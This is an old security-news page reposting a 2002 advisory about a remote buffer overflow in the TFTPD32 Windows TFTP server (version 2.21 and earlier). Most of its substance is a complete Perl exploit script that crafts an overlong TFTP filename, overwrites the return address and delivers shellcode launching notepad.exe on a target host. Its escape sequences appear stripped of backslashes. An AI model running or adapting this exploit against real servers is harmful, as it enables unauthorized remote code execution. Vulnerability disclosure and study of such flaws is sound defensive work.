Users login

Create an account »

JOIN XATRIX

Users login

Home » Hacking News » TFTPD32 Buffer Overflow Vulnerability (Long filename)

TFTPD32 Buffer Overflow Vulnerability (Long filename)

by Nikola Strahija on November 19th, 2002 Advisory available at: http://www.securiteam.com/windowsntfocus/6C00C2061A.html


SUMMARY

; TFTPD32 is a Freeware TFTP server for
Windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
(specified in the RFC 1350).

A vulnerability in the product allows remote attackers to cause the
product to execute arbitrary code.


DETAILS

Vulnerable systems:
* TFTP32 version 2.21 and prior

Immune systems:
* TFTP32 version 2.50.2

Exploit:
#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";

#$buf .= "x00x02"; # Send ---- Choose one
$buf .= "x00x01"; # Recieve

$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;

$address = "xFFxFFxFFxFF";
$buf .= $address;

$egg = "xEBx27x8Bx34x24x33xC9x33xD2xB2";
$egg .= "x0Bx03xF2x88x0Ex2BxF2xB8xAFxA7";
$egg .= "xE6x77xB1x05xB2x04x2BxE2x89x0C";
$egg .= "x24x2BxE2x89x34x24xFFxD0x90xEB";
$egg .= "xFDxE8xD4xFFxFFxFF";
$egg .= "notepad.exe";

$egg .= "x90x90x90x90x90x90";
$buf .= $egg;

$buf .= "x00binaryx00";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
[email protected]";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!n";
print "Now, '$host' should open up a notepadn";


ADDITIONAL INFORMATION

The information has been provided by
SecurITeam Experts.

--
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com


Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.

Contact

Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »